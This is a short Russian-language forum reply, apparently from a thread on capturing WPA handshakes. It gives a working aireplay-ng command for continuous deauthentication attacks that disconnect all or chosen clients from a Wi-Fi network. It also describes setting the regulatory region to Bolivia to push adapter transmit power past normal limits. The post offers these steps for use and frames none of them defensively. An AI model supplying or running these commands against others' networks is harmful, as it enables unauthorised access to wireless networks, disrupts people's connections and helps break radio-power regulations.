И просто ждешь? Надо ведь клиента выбить, чтобы он снова подключился, это и будет хендшейком.

В соседнем окне:

aireplay-ng mon0 --deauth 0 -a BSSID

где 0 - количество посылаемых пакетов деаутентификации (если 0, то будет слать, пока не остановишь)

Можно еще указать -c MAC_адрес_клиента, чтобы выбить кого-то конкретного, а не всех.

А мощность адаптера регулируется так:

iw reg set BO (меняем регион на Боливию)

iwconfig txpower N (где вместо N мощность адаптера в dBm)

Это нужно делать при выключенном адаптере (ifconfig wlan0 down либо airmon-ng check kill) и до включения monitor mode.